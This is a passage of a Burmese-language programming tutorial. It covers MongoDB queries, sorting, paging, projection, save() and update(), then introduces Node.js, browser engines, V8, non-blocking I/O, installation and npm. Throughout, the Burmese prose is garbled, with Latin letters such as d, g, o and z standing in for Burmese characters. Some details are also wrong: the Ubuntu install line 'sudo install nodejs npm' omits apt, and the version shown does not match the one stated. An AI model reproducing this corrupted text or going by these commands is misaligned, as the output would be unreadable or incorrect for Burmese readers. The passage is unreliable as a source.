Than တို့လုိ Filter dတွလည်းရပါတယ်။ ဒီလုိပံုစံdရးရပါတယ်။

> db.products.find({ price: { $gt: 9 } })

products Collection  မရှိလ့ုိ လက်dတွ့dရးစမ်းo့ုိ မဟုတ်ပါzူး။ နမူနာ gပတာပါ။  $gt အစား  $lt,
$gte, $lte, $not စသgoင့် သံုးလ့ုိရပါတယ်။ စဉ်းစားeကည့်ရင် API ဒီဇုိင်းအdeကာင်း dgပာခဲ့တုံးက
နဲ့ သdzာသzာဝdတွ ခပ်ဆင်ဆင်ပဲဆိုတာကို dတွ့ရနိုင်တယ်။
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Sorting စီချင်ရင်dတာ့ ဒီလုိစီရပါတယ်။

> db.records.find().sort({ name: 1 })

name: 1 လ့ုိdgပာလိုက်တာဟာ  name နဲ့စီမယ်လ့ုိ dgပာလုိက်တာပါ။ စမ်းeကည့်လို့ရပါတယ်။  Sorting
ကို Field တစ်ခုထက်လည်း ပုိစီလ့ုိရပါတယ်။

> db.records.find().sort({ from: 1, name: 1 })

ဒါဆိုရင်  from နဲ့အရင်စီပြပီးdနာက်  name နဲ့  ထပ်စီdပးမှာပါ။ dgပာင်းgပန်  Descending  ပံုစံ  စီချင်ရင်  1
အစား -1 လ့ုိ dပးလုိ့ရပါတယ်။

Paging လုပ်dဆာင်ချက်အတွက် skip() နဲ့ limit() ကို သံုးနိုင်ပါတယ်။

> db.records.find().limit(3)

ဒါဆိုရင် limit(3) လ့ုိdgပာထားလ့ုိ Data (၃) deကာင်းပဲ ယူdပးမှာပါ။

> db.records.find().skip(1).limit(3)

ဒါဆိုရင်dတာ့ skip(1) လ့ုိdgပာထားလ့ုိ (၁) deကာင်းdကျာ်လိုက်ပြပီးမှ (၃) deကာင်းယူdပးသွားမှာပါ။

ပြပီးdတာ့ SQL Query dတွမှာ SELECT name, nrc FROM records ဆိုပြပီး ကိုယ်လုိချင်တဲ့ Fields
ကိုပဲ dရးွယူလ့ုိ ရသလုိပဲ MongoDB မှာလည်း ရပါတယ်။ find() ရဲ့ ဒုတိယ Parameter မှာ လုိချင်တဲ့
Fields စာရင်းdပးပြပီးdတာ့ ဒီလုိယူရပါတယ်။
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> db.records.find({}, {name: 1, nrc: 1})

ဒါဆိုရင် name နဲ့  nrc နှစ်ခုကိုပဲ ယူလုိက်တာပါ။ ကျန်တဲ့  from dတွ to dတွ with dတွ မပါdတာ့ပါ
zူး။  find() အတွက် ပထမ Parameter က Filter မ့ုိလ့ုိ မdပးချင်တဲ့အတွက် အလွတ်ပဲ dပးခဲ့တာကို
လည်း သတိgပုပါ။

ဆက်ပြပီးdတာ့ Update ကိုeကည့်ပါမယ်။ HTTP အdeကာင်းdgပာတုံးက Update ပံုစံနှစ်မျ ို း ရိှတာ dgပာခဲ့ပါ
တယ်။ PUT နဲ့  PATCH ပါ။ တစ်ခုလံုးအစားထုိးပြပီး Update လုပ်တာနဲ့ တစ်စိတ်တစ်ပုိင်းdရွးပြပီး Update
လုပ်တာဆိုပြပီး နှစ်မျ ို းရှိတာပါ။ MongoDB မှာလည်း နှစ်မျ ို းလံုး ရှိပါတယ်။ save() နဲ့  update() ပါ။
save() က PUT လုိမျ ို း တစ်ခုလံုးအစားထုိးပြပီး  Update လုပ်မှာပါ။  update() ကdတာ့ PATCH လုိ
မျ ို း တစ်စိတ်တစ်ပုိင်း dရွးပြပီး Update လုပ်dပးမှာပါ။

save() ကအလုပ်နှစ်မျ ို း လုပ်ပါတယ်။ dပးလိုက်တဲ့ Data ထဲမှာ _id ပါရင် Update လုပ်dပးပြပီး၊ _id
မပါရင်  Create  လုပ်dပးပါတယ်။ စမ်းသပ်နိုင်o့ုိအတွက်  နမူနာတစ်ခုdလာက်  အခုလုိ  ထပ်ထည့်ပြပီး  စမ်း
eကည့်နိုင်ပါတယ်။

> db.records.save({ name: "Test", age: 22 })
WriteResult({ "nInserted" : 1 })

> db.records.find({ name: "Test" })
{ "_id" : ObjectId("5f6250f28873b1d7bff76277"), "name" : "Test", "age" : 22 }

dပးလုိက်တဲ့ Data မှာ _id မပါတဲ့အတွက် save() က အသစ်တစ်ခု ထပ်ထည့်dပးသွားတာကို dတွ့ ရ
မှာgoစ်ပါတယ်။ _id dပးပြပီး dနာက်တစ်ခါ save() လုပ်eကည့်ပါမယ်။

> db.records.save({ "_id" : ObjectId("5f6250f28873b1d7bff76277"), "name" : 
"Test2" })
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })

> db.records.find({ name: "Test2" })
{ "_id" : ObjectId("5f6250f28873b1d7bff76277"), "name" : "Test2" }
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ဒီတစ်ခါdတာ့  save() က  အသစ်မထည့်dတာ့zဲ  Update  လုပ်dပးသွားတယ်ဆိုတာကို  dတွ့ရနိုင်ပါ
တယ်။ ဒါdပမယ့် မူလရှိdနတဲ့ age တန်oုိး dပျာက်သွားတာကို သတိgပုeကည့်ပါ။ save() က dပးလုိက်
တဲ့ Data နဲ့ နZိုရှိတာကို အစားထိုးလုိက်တာမို့လ့ုိ နZိရုှိတာ dပျာက်သွားတာပါ။ အစမ်းထည့်ထားတဲ့ Data
ကို အခုလုိ gပန်oျက်ထားနိုင်ပါတယ်။

> db.records.remove({ name: "Test2" })

update() ကို  ဆက်ပြပီးdတာ့စမ်းeကည့်eကပါမယ်။  update() က dရးရတာ နည်းနည်းdတာ့  ရှုပ်ပါ
တယ်။ Parameter (၃) ခုdပးရပါတယ်။ Filter, Data နဲ့ Option ပါ။ ဒီလိုdရးရပါတယ်။

> db.records.update(
    { to: "Bago" },
    { $set: { to: "Bagan" } },
    { multi: true }
)
WriteResult({ "nMatched" : 3, "nUpserted" : 0, "nModified" : 3 })

နမူနာမှာ  to: Bago က  Filter  ပါ။  Data  ကိုdတာ့  $set Operator  နဲ့  dပးထားပါတယ်။  to ကို
Bagan လ့ုိ gပင်ချင်တာပါ။ dနာက်ဆုံးက multi: true Option ကdတာ့ Filter က တစ်deကာင်းထက်
ပုိdတွ့ရင်လည်း dတွ့သမျှအကုန်gပင်မယ်လ့ုိ dgပာလိုက်တာပါ။ ဒါdeကာင့်ရှိသမျှ to: Bago dတွ အကုန်
to: Bagan goစ်သွားမှာပါ။ dရွးgပင်သွားတာgoစ်လ့ုိ တgခားမဆိုင်တဲ့ Data dတွလည်း မdပျာက်ပါzူး။

Data  dတွကိုသိမ်းတဲ့အခါ  JSON Structure  အတိုင်း သိမ်းရတာgoစ်လ့ုိ oဲွ့စည်းပံုက ဒီလုိအဆင့်ဆင့် goစ်
မယ်ဆိုရင်လည်း goစ်လ့ုိရပါတယ်။ 
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{
name: "Bobo", 
nrc: "A0131",
trip: {

from: "Yangon", 
to: "Mandalay", 
vehicle: {

type: "car",
license: "5B9876" 

}
}

}

ဒီလုိoွဲ့စည်းပံုမှာ  အဆင့်ဆင့်ပါလာပြပီဆိုရင်  Filter  dတွလုပ်တဲ့အခါ  zယ်လုိလုပ်ရလဲ  ဆိုတာdလး  goည့်
မှတ်ထားdပးပါ။

> db.records.find({ "trip.vehicle.type": "car" })

trip ထဲက vehicle ထဲက type တန်oုိးနဲ့ Filter လုပ်ချင်တာgoစ်လ့ုိ trip.vehicle.type ဆို
ပြပီးdတာ့ Dot ခံပြပီး dရွးdပးရတာပါ။

ဒီdလာက်ဆိုရင်  MongoDB  မှာ  Data  dတွ  Create, Read, Update, Delete  လုပ်ငန်းdတွ စုံdအာင်လုပ်
တတ်သွားပါပြပီ။  MongoDB  က လက်dတွ့dလ့လာအသံုးgပုရတာ လွယ်ပါတယ်။ လူသန်းdပါင်းများစွာက
အသံုးgပုပြပီး အချက်အလက် သန်းdပါင်းများစွာကို သိမ်းဆည်းရတဲ့ ပdရာZျက်မျ ို းdတွနဲ့ သင့်dတာ်dအာင်
oန်တီးထားတဲ့  နည်းပညာမ့ုိလ့ုိ  တစ်ကယ်တမ်း  ခက်မှာက  အ့ဲဒီdလာက်  Data  dတွသိမ်းနိုင်တဲ့  Server
Architecture  ကို  တည်dဆာက်ပံု တည်dဆာက်နည်းdတွက ခက်တာပါ။ dလာdလာဆယ် အ့ဲဒီdလာက်
အဆင့် မသွားသင့်dသးပါzူး။ အခုလုိ အdgခခံအသံုးgပုပုံdလာက် သိတယ်ဆိုရင်ပဲ စတင်အသုံးgပုလ့ုိ ရdန
ပါပြပီ။  စိတ်ဝင်စားလ့ုိ  အခုကတည်းက  dလ့လာချင်တယ်ဆိုရင်လည်း  Rockstar  Developer စာအုပ်မှာ
dလ့လာeကည့်နိုင်ပါတယ်။ PDF Ebook ကို အခမ့ဲ dဒါင်းလ့ုိရပါတယ်။

- https://eimaung.com/rockstar-developer/

https://eimaung.com/rockstar-developer/
https://eimaung.com/rockstar-developer
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အခန်း (၇၂) – NodeJS

နမူနာပdရာZျက်ကို  ExpressJS  အသုံးgပုပြပီး  တည်dဆာက်မှာပါ။  ဟိုအရင်ကdတာ့  JavaScript  နည်း
ပညာdတွကို  သ့ူထက်ပုိထင်ရှားတဲ့  အgခားအမည်တူနည်းပညာdတွ ရိှdနရင် ကွဲgပားdစo့ုိအတွက် dနာက်
ကdန NodeJS, ExpressJS  စသgoင့်  JS  dလးdတွထည့်ပြပီး dခါ်eကdလ့ရှိပါတယ်။ အခုdတာ့ သူတို့က ပုိ
ထင်ရှားသွားeကပြပီ။ dနာက်က  JS  မပါလည်း နာမည်eကားယံုနဲ့  သိကုန်eကပြပီမ့ုိလ့ုိ  မထည့်eကdတာ့ပါzူး။
dလာdလာဆယ်  အစဉ်အလာမပျက်  ထည်ပြပီးသံုးနှုန်းdရးသားdနdပမယ့်  dနာက်ပုိင်းမှာ  မထည့်dတာ့ပါ
zူး။ Node, Express စသgoင့် အမည်သက်သက်ပဲ ဆက်သံုးပါdတာ့မယ်။

API ပdရာZျက် တည်dဆာက်o့ုိအတွက် တစ်ကယ်သံုးချင်တာက Node ကို တိုက်ရိုက်သံုးချင်တာ မဟုတ်
ပါzူး။ Express Framework ကိုသုံးပြပီး oန်တီးချင်တာပါ။ Express က Node ကိုအသံုးgပုပြပီး အလုပ်လုပ်
တဲ့  Framework  မ့ုိလ့ုိသာ  Node  အdeကာင်းကို  ထည့်dgပာရတဲ့သdzာပါ။  dရှ့ပုိင်းမှာလည်း  Node  နဲ့
NPM အdeကာင်းကို ထည့်သွင်းdoာ်gပခဲ့ပြပီး goစ်ပါတယ်။ အခု ဒီdနရာမှာလည်း လုိအပ်တာdလးdတွ ထပ်
goည့်dgပာချင်ပါdသးတယ်။

What
JavaScript ဟာ မူလက Client-side Programming Language တစ်ခုသာ goစ်ပါတယ်။ အရင်ကဆိုရင်
JavaScript ကုဒ်dတွက Web Browser ထဲမှာပဲ အလုပ်လုပ်ပါတယ်။ တgခားdနရာမှာ အလုပ်မလုပ်ပါzူး။
Web  Browser  dတွမှာ  အစိတ်အပုိင်း  (၃)  ပုိင်း  dပါင်းစပ်ပါဝင်တယ်လို့  ဆိုနိုင်ပါတယ်။  Rendering
Engine, JavaScript Engine နဲ့ UI တို့goစ်ပါတယ်။ 
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Rendering Engine  ရဲ့  တာဝန်ကdတာ့  HTML, CSS  dတွdပါ်မှာ အdgခခံပြပီး သင့်dတာ်တဲ့  အသွင်အgပင်
doာ်gပdပးo့ုိ goစ်ပါတယ်။ HTML Element dတွကို doာ်gပdပးdနတာ Rendering Engine ပါ။ CSS Style
သတ်မှတ်ချက်dတွအတိုင်း  doာ်gပdပးdနတာ  Rendering  Engine  ပါ။  ထင်ရှားတဲ့  Rendering  Engine
dတွ ရိှeကပါတယ်။  Apple Safari Browser  က Webkit  လ့ုိdခါ်တဲ့  Rendering Engine  ကို သံုးပါတယ်။
Microsoft Internet Explorer ကdတာ့ Trident လ့ုိdခါ်တဲ့  Engine ကို သံုးပါတယ်။ MSHTML လ့ုိလည်း
dခါ်ပါတယ်။ Mozilla Firefox က Gecko ကိုသုံးပြပီး၊ Opera Browser ကdတာ့ Presto ကိုသံုးပါတယ်။

အ့ဲဒီထဲမှာ  Webkit  က အထင်ရှားဆုံးပါ။  eကားoူးeကပါလိမ့်မယ်။  သ့ူအရင်က  KHTML  လ့ုိdခါ်တဲ့  Open
Source Rendering Engine တစ်မျ ို း ရှိပါတယ်။ Konqueror လ့ုိdခါ်တဲ့ လူသိနည်းတဲ့  Web Browser မှာ
သံုးo့ုိထွင်ထားတာပါ။ အ့ဲဒီ KHTML ကိုယူပြပီးdတာ့ Apple က Webkit ဆိုတဲ့အမည်နဲ့ Rendering Engine
ကို ထပ်ဆင့်တီထွင်ထားတာပါ။ dနာက်ကျdတာ့၊ Webkit ကို ယူသံုးပြပီး Google က Chromium Browser
Project ကို ထွင်လုိက်ပါတယ်။

Chromium နဲ့ Chrome ဆိုတာ နာမည်လည်းဆင်တယ်၊ နည်းပညာလည်းတူတယ်။ ဒါdပမယ့် နည်းနည်း
ကွဲပါတယ်။  Chromium  ကို  Source  Code  လ့ုိ  gမင်နိုင်ပါတယ်။  သ့ူကို  Compile  လုပ်လုိက်dတာ့
Chromium Browser  goစ်လာပါတယ်။ အ့ဲဒီ  Source Code  ကိုပဲ  Google  က သူ့  Configuration  နဲ့သူ
Compile  လုပ်ယူလိုက်တဲ့အခါ  Google Chrome Browser  goစ်လာတာပါ။  Source Code  ကတတူယ်။
Compile  လုပ်တဲ့သူ  မတူzူးလ့ုိ  dgပာလုိ့ရပါတယ်။ ဒါdeကာင့်  Apple  ရဲ့  Safari  Browser,  Chromium
Browser နဲ့ Google Chrome တို့ဟာ သံုးထားတဲ့ Rendering Engine တူeကတယ်လ့ုိ dgပာလ့ုိရပါတယ်။

dနာကd်တာ့ Google က Webkit ကို Blink ဆိုတဲ့အမည်နဲ့ သီးgခားခွဲပြပီး ထပ်ထွင်လုိက်ပါတယ်။ ဒါdeကာင့်
KHTML   Webkit   Blink  → → စသgoင့်  အဆင့်ဆင့်goစ်dပါ်လာလို့  အမျ ို းအစားဆင်တူdတွလုိ့  ဆိုနိုင်ပါ
တယ်။ ကdန့dခတ်မှာ Webkit/Blink ဟာ အကျယ်gပန့်ဆုံး သံုးdနeကတဲ့  Rendering Engine ပါ။  Apple
Safara, Chromium Browser, Google Chrome, Android Browser, iOS Browser စသည်goင့်၊ အားလံုး
က  Webkit/Blink  ကို  သံုးထားeကတာပါ။  ဒါတင်မကdသးပါzူး၊  အခုဆိုရင်  Opera  Browser,  Brave
Browser နဲ့ Microsoft Edge Browser တို့ကလည်း Chromium ကိုသုံးထားeကတာပါ။ 

တစ်ကယ်dတာ့  စာအုပ်ထူလွန်းလ့ုိ  စာမျက်နှာdချွတာo့ုိလုိတဲ့အdgခအdနမှာ  ဒီလုိအdeကာင်းdတွကို  ရှည်
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ရှည်dဝးdဝး dgပာမdနချင်ပါzူး။ လက်dတွ့လုိအပ်မှာကိုပဲ တန်းdgပာလုိက်ချင်ပါတယ်။ ဒါdပမယ့် အခုလို
dနာက်ခံgoစ်စဉ်dလးdတွ  သိထားရင်  ပုိပြပီးdတာ့များ  စိတ်ဝင်စားစရာ goစ်သွားမလားလ့ုိ  ထည့်dgပာgပdန
တာပါ။

dစာdစာက Browser မှာ Rendering Engine, JavaScript Engine နဲ့ UI တို့ dပါင်းစပ်ပါဝင်တယ်လ့ုိ dgပာ
ခဲ့ပါတယ်။ UI ကdတာ့ Browser Menu dတွ၊ Toolbar dတွ၊ URL Bar, Bookmark, History, Download
စတဲ့  User  dတွ gမင်dတွ့ထိပြပီး အသံုးgပုတဲ့  အရာdတွပါ။  JavaScript Engine  ရဲ့တာဝန်ကdတာ့ ရှင်းပါ
တယ်။ JavaScript Code dတွကို  Run dပးgခင်းပဲ goစ်ပါတယ်။  Google  က Chromium ကို ထွင်တဲ့အခါ
Rendering Engine အdနနဲ့ Webkit ကို ယူသံုးခဲ့dပမယ့် JavaScript Engine ကိုdတာ့ သူzာသာ အသစ်
ထွင်ပြပီး ထည့်ခဲ့ပါတယ်။ အ့ဲဒီ Engine ကို V8 လ့ုိပါတယ်။ တgခား JavaScript Engine dတွနဲ့ယှဉ်ရင် သိသိ
သာသာ ပုိgမန်တဲ့ Engine တစ်ခုရယ်လ့ုိ ထင်ရှားပါတယ်။

V8 JavaScript Engine  ကို  Chromium မှာ သံုးထားdပမယ့် သီးgခားပdရာZျက်တစ်ခုပါ။  Open Source
နည်းပညာတစ်ခုပါပဲ။  အ့ဲဒီ    V8    ကို  သံုးပြပီးdတာ့    Ryan Dahl    လ့ုိdခါ်တဲ့  dဆာ့o်ဝဲအင်Zျင်နီယာတစ်ဦးက  
Node    ကို  တီထွင်ခဲ့တာပါ  ။ အ့ဲဒီအချနိ်ကစပြပီးdတာ့  JavaScript  ရဲ့အခန်းကဏ္ဍ အကြကီးအကျယ်dgပာင်းလဲ
သွားခဲ့ပါdတာ့တယ်။ အရင်က  JavaScript  ဆိုတာ  Browser  ထဲမှာပဲ  Run  တဲ့  နည်းပညာပါ။ အခုdတာ့
Browser ရဲ့ gပင်ပမှာ Node ကိုအသံုးgပုပြပီးdတာ့ JavaScript Code dတွကို Run လ့ုိ ရသွားပါပြပီ။ ဒီdတာ့
JavaScript ဟာလည်း Client-side Language ဆိုတဲ့အဆင့်ကdနdကျာ်ပြပီး၊ ကြကိုက်တဲ့dနရာမှာသံုးလ့ုိရတဲ့
Language တစ်ခရုယ်လို့ goစ်သွားပါdတာ့တယ်။ ကွန်ပျူတာမှာ Node ရှိdနရင် JavaScript ကုဒ်dတွ Run
လ့ုိရdနပြပီdလ။ JavaScript  နဲ့  Command Line  ပရိုZရမ်dတွ dရးပြပီး  Node  နဲ့  Run လ့ုိရမယ်။  Server-
side Code dတွdရးပြပီး  Node နဲ့  Run လ့ုိရမယ်။ Desktop Solution dတွdရးပြပီး  Node နဲ့  Run မယ်။ စ
သgoင့် JavaScript က စွယ်စုံသံုး Language တစ်ခု goစ်သွားပါdတာ့တယ်။

ဒါdeကာင့် Node ဆိုတာzာလဲလ့ုိ dမးလာခဲ့ရင် မှတ်ထားပါ။ Node   ဆိုတာ   JavaScript Run-Time   နည်း  
ပညာgoစ်ပါတယ်။ Node ဆိုတာ JavaScript  မဟုတ်ပါzူး။  Node ဆိုတာ JavaScript ကုဒ်dတွကို  Run
dပးနိုင်တဲ့ နည်းပညာပါ။ ပံုမှန် JavaScript ကုဒ်dတွအgပင် အသင့်သံုးလ့ုိရတဲ့ Standard Module dတွကို
လည်း dရးပြပီး goည့်တင်းdပးထားလ့ုိ မူလ JavaScript ထက်dတာ့ သူကနည်းနည်းပုိပြပီး စွမ်းပါတယ်။
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Node  ကို  စထွင်ခဲ့တဲ့  Ryan Dahl  က အခုdတာ့  Node  ကို  ဦးdဆာင်dနသူ မဟုတ်dတာ့ပါzူး။ လက်ရှိ
Node  ကို  OpenJS  Foundation  လ့ုိdခါ်တဲ့  အoဲွ့အစည်းက  စီမံdနပါတယ်။  Ryan  Dahl  ကdတာ့
အလားတူ dနာက်ထပ်နည်းပညာတစ်ခုကို မeကာခင်ကမှ ထပ်ထွင်ထားပါတယ်။ Deno လ့ုိdခါ်ပါတယ်။ ဒီ
နည်းပညာ zယ်dလာက်ထိ goစ်dgမာက်လာမလဲဆိုတာdတာ့ dစာင့်eကည့်eကရဦးမှာပါ။

Why
Node ရဲ့ ထူးgခားချက်ကdတာ့ Non-blocking I/O လ့ုိdခါ်တဲ့ နည်းစနစ်ကို အသုံးgပုgခင်းပါ။  JavaScript
ဟာ  Interpreted  Language  တစ်ခုgoစ်လ့ုိ  Language  ချည်းသက်သက်အရဆိုရင်  သိပ်gမန်လှတဲ့
Language  dတာ့ မဟုတ်ပါzူး။ တgခားသ့ူထက်ပုိgမန်တဲ့  Language  dတွရှိပါတယ်။ ဒါdပမယ့်  Node  ရဲ့
Non-blocking I/O  သdzာသzာဝdeကာင့်  Node  နဲ့dရးထားတဲ့  ပရိုZရမ်dတွဟာ သာမာန်ထက် ပုိgမန်
dလ့ရှိeကပါတယ်။

ကွန်ပျူတာရဲ့ Processor ဟာ တစ်စက္ကန့်မှာ Instruction dပါင်း သန်းနဲ့ချပီြပီး အလုပ်လုပ်dပးနိုင်ပါတယ်။
ဒါdပမယ့် Hard Disk dပါ်က အချက်အလက်dတွ Read/Write လုပ်ယူတာလုိ အလုပ်မျ ို းက ဒီdလာက် မ
gမန်နိုင်ပါzူး။  အင်တာနက်  အဆက်အသွယ်ကိုသံုးပြပီး  အချက်အလက်dတွ  ယူရမယ်ဆိုရင်လည်း၊
zယ်dလာက်gမန်တဲ့  အင်တာနက်ကြကီး goစ်dနပါdစ၊ ဒီအသွားအgပန်က  Processor  ရဲ့  စွမ်းdဆာင်ရည်ကို
zယ်လုိမှ အမီှလုိက်နိုင်မှာ မဟုတ်ပါzူး။ အတူတူပါပဲ၊ ကင်မရာ၊  Fingerprint Sensor  စသgoင့်  Input /
Output Device  dတွဟာ၊  Processor  ရဲ့  အလုပ်လုပ်နိုင်စွမ်းနဲ့  နှိုင်းယှဉ်eကည့်ရင် dတာ်dတာ်  dနှးeကပါ
တယ်။ ရိုးရိုးပရိုZရမ်dတွမှာ  Process  က gမန်ချင်dပမယ့် gမန်လ့ုိမရzဲ  I/O  ကို  gပန်dစာင့်dနရတာdတွ ရိှ
eကပါတယ်။  Node  ကdတာ့  Asynchronous  dရးဟန်နဲ့အတူ  Process  က  I/O  ကို  dစာင့်စရာdအာင်
တီထွင်ထားပါတယ်။ ဒီသdzာdပါ်လွင်dစo့ုိ ဥပမာကုဒ်ရိုးရိုးdလးတစ်ခုdလာက် dရးgပပါမယ်။

 JavaScript 
const fs = require("fs");
console.log("Some processes...");
fs.readFile("data.txt", "utf-8", function(err, data) {

console.log(data);
});
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console.log("Some more processes...");

ဒီကုဒ်မှာ dရးထားတဲ့ အစီအစဉ်အရ Some processes ဆိုတဲ့စာတစ်deကာင်းကို အရင်ရိုက်ထုတ်မယ်။ ပြပီး
ရင် data.txt ကို oတ်ပြပီး အထဲက Content ကို ရိုက်ထုတ်မယ်။ ပြပီးရင် Some more processes ဆိုတဲ့
စာတစ်deကာင်းကို ဆက်ပြပီးရိုက်ထုတ်မယ်။ ဒီလုိdရးထားတာပါ။ ဒါdပမယ့် Node ရဲ့  Non-blocking I/O
သdzာသzာဝက  data.txt ကို  oတ်လ့ုိပြပီးdအာင် မdစာင့်zဲ လုပ်စရာရှတိာ ဆက်လုပ်သွားမှာမ့ုိလ့ုိ
Run eကည့်ရင် ရလဒ်က ဒီလုိရမှာပါ။

Some processes…
Some more processes…
>> data entries…

oုိင်ကိုoတ်ယူတဲ့ fs.readFile() အတွက် Callback Function ကိုdပးပြပီး dရးထားတဲ့အတွက် oုိင်ကို
oတ်ယူတဲ့ I/O ကို dစာင့်စရာမလုိzဲ ကျန်တဲ့ Process dတွက ဆက်အလုပ်လုပ်သွားတာပါ။ oုိင်ကိုoတ်လ့ုိ
ပြပီးdတာ့မှသာ dပးလုိက်တဲ့ Callback Function က အလုပ်လုပ်gခင်း goစ်ပါတယ်။ Non-blocking I/O ဆို
တာ  ဒါမျ ို းကိုဆိုလုိတာပါ။  ဒါdeကာင့်  တစ်ချ ို ့  နည်းပညာလုပ်ငန်းကြကီးdတွကအစ  စွမ်းdဆာင်ရည်gမင့်
Service dတွ oန်တီးo့ုိအတွက် Node ကို dရးွချယ် အသံုးgပုdနeကတာပါ။

Install Node
Node Installer  ကို  nodejs.org ကdန Download  ရယူနိုင်ပါတယ်။ သူ့ကdတာ့ သိပ်ဆန်းဆန်းgပားgပား
dတွမလုိzဲ အလွယ်တစ်ကူ  Install  လုပ်ပြပီး သံုးလုိ့ရdလရ့ှိပါတယ်။ အခုဒီစာကိdုရးdနချနိ်မှာ dနာက်ဆုံး
ထွက်ရှိထားတဲ့ Version ကdတာ့ 14.11.0 ပါ။ Feature သစ်dတွစမ်းချင်ရင် dနာက်ဆုံး Version ကို သံုးရ
ပြပီး၊ လက်dတွ့သုံးo့ုိ ရည်ရွယ်ရင်  LTS (Long-Term Support) Version ကို သံုးရပါတယ်။ အခုအပုိင်းမှာ
doာ်gပမယ့်ကုဒ်ကdတာ့ နမူနာသက်သက်မ့ုိ zာကိုပဲdရွးdရွး ကိစ္စမရှိပါzူး။

Install လုပ်လုိက်ရင် ပါဝင်လာမယ့် နည်းပညာက (၂) ခုပါ။ node နဲ့ npm goစ်ပါတယ်။ JavaScript ကုဒ်
dတွကို  node နဲ့  Run  ရမှာgoစ်ပြပီး  npm ကdတာ့  Package  Manager  ပါ။  npm ကိုသံုးပြပီး  Express
အပါအဝင် ကိုယ်သုံးချင်တဲ့ Package dတွကို ရယူအသံုးgပုနိုင်ပါတယ်။

https://nodejs.org/en/
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Ubuntu Linux လုိ Operation System သံုးdနတဲ့ သူdတွကdတာ့ Website မှာသွားပြပီး Download လုပ်
dနစရာမလုိပါzူး။ apt နဲ့ အခုလုိ Install လုပ်လုိ့ရနိုင်ပါတယ်။ 

sudo install nodejs npm

npm ကိုပါသီးgခားတွဲပြပီး Install လုပ်dပးရတယ်ဆိုတာကိုdတာ့ သတိgပုပါ။

Install လုပ်ပြပီးပြပီဆိုရင် Command Prompt oွင့်ပြပီး အခုလုိစမ်းeကည့်နိုင်ပါတယ်။

node -v
v12.16.1

npm -v
6.14.8

-v Option က Version နံပါတ်ကို ထုတ်eကည့်တာပါ။ ဒါdeကာင့် အdပါ်ကနမူနာမှာလုိ ကိုယ် Install လုပ်
ထားတဲ့ node Version နဲ့ npm Version ကို dတွ့ gမင်ရပြပီဆိုရင် အသံုးgပုoို့ Ready goစ်dနပါပြပီ။

Node Modules
Node  မှာ  တစ်ခါတည်း  အသင့်သံုးလုိ့ရတဲ့  Module  dတွ  ပါပါတယ်။  oုိင်dတွ၊  oုိဒါdတွ  စီမံနိုင်တဲ့  File
System Module, Web Server dတွ Service dတွ oန်တီးလ့ုိရတဲ့ HTTP Module, Network Socket ပရို
Zရမ်dတွ oန်တီးလို့ရတဲ့ Net Module စသgoင့် ပါသလို Crypto, OS, Path, Zlib, Stream, URL, Timers
စသgoင့် အdထွdထွသံုး  Module  dတွ အများကြကီး ပါပါတယ်။ အdပါ်မှာ  Non-blocking I/O  အdeကာင်း
dgပာတုံးက dပးခဲ့တဲ့ ကုဒ်နမူနာက File System Module ကို သံုးထားတာပါ။ ဒီ Module dတွအdeကာင်း
ကိုdတာ့  စုံdအာင်ထည့်မdgပာနိုင်ပါzူး။  အသံုးဝင်တဲ့  Build-in  Module  dတွရှတိယ်၊  လုိအပ်ရင်သံုးလို့ရ
တယ် ဆိုတာကိုသာ မှတ်ထားdပးပါ။ JavaScript dရးတတ်တယ်ဆိုရင် ဒီ Module dတွ ယူသံုးရတာက မ
ခက်လှပါzူး။ Node ရဲ့ Documentation မှာ dလ့လာပြပီး သံုးသွားရင် အဆင်dgပမှာပါ။

- https://nodejs.org/en/docs/

https://nodejs.org/en/docs/
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Module dတွက ပံုစံ  (၃) မျ ို းgoစ်နိုင်တယ်လ့ုိ ဆိုနိုင်ပါတယ်။ တစ်မျ ို းက Node ရဲ့  Build-in Module dတွ
ပါ။  dနာက်တစ်မျ ို းက  JavaScript  အခန်းမှာ  doာ်gပခဲ့သလို  ကိုယ်ပိုင်oန်တီးထားတဲ့  Module  dတွပါ။
dနာက်တစ်မျ ို းကdတာ့  npm ရဲ့  အကူအညီနဲ့  ရယူအသံုးgပုတဲ့  Module  dတွပဲ  goစ်ပါတယ်။  Express
အပါအဝင်  JavaScript Package  dပါင်းdgမာက်များစွာ ရှိdနပါတယ်။ များလွန်းလ့ုိdတာင် ခက်dနပါdသး
တယ်။ ကိုယ့်zာသာ dရးစရာမလိုသdလာက်ပါပဲ။  လုပ်dဆာင်ချက်တစ်ခု  လုိအပ်ရင် ရှာeကည့်လုိက်၊  ယူ
သံုးလို့ရတဲ့  Third-party  Module  ရိှoုိ့  ကျမ်ိးdသတယ်လို့  dgပာရမdလာက်ပါပဲ။  အ့ဲဒီလုိ  ယူသံုးလ့ုိရတဲ့
Module dတွကို npm ရဲ့ အကူအညီနဲ့ ယူရတာမ့ုိလ့ုိ npm အdeကာင်းကို ဆက်dgပာပါမယ်။

NPM
npm နဲ့  လုပ်မယ့်အလုပ်  (၃)  ခုရှိတယ်လ့ုိ  မှတ်နိုင်ပါတယ်။  တစ်ခုက  ပdရာZျက်  တည်dဆာက်မှာပါ။
dနာက်တစ်ခကုdတာ့ လုိအပ်တဲ့  Package  dတွကို ရယူမှာgoစ်ပြပီး၊ dနာက်ဆုံးတစ်ခုကdတာ့  Script  dတွ
Run မှာ goစ်ပါတယ်။

npm ကို  သံုးပြပီး  ပdရာZျက်တည်dဆာက်o့ုိအတွက်  npm init ကို  သံုးနိုင်ပါတယ်။ သူက ပdရာZျက်
အမည်၊  Version  နံပါတ်၊  ပdရာZျက်  Description၊  လုိင်စင်၊  စတဲ့အချက်အလက်dတွကို  လာdမးပါလိမ့်
မယ်။  တစ်ခုချင်း  dgodပးသွားလုိက်ရင်  dနာက်ဆုံးမှာ  ကိုယ်dပးလုိက်တဲ့  အချက်အလက်dတွ  ပါဝင်တဲ့
package.json ဆိုတဲ့ oုိင်တစ်ခုထွက်လာပါလိမ့်မယ်။ oုိဒါတစ်ခုမှာ package.json oုိင် ပါဝင်သွား
တာနဲ့  NPM Project တစ်ခု goစ်သွားပါပြပီ။ တစ်ကယ်dတာ့ အdမးအdgodတွ တစ်deကာင်းချင်း လုပ်ရတာ
eကာပါတယ်။ npm init -y ဆိုပြပီး dနာက်ဆုံးက -y Option dလးထည့်dပးလုိက်ရင် zာမှ လာမdမး
dတာ့zဲ  package.json ကို  Default Value  dတွနဲ့တည်dဆာက်dပးသွားမှာပါ။ dနာက်မှ gပင်စရာရှိ
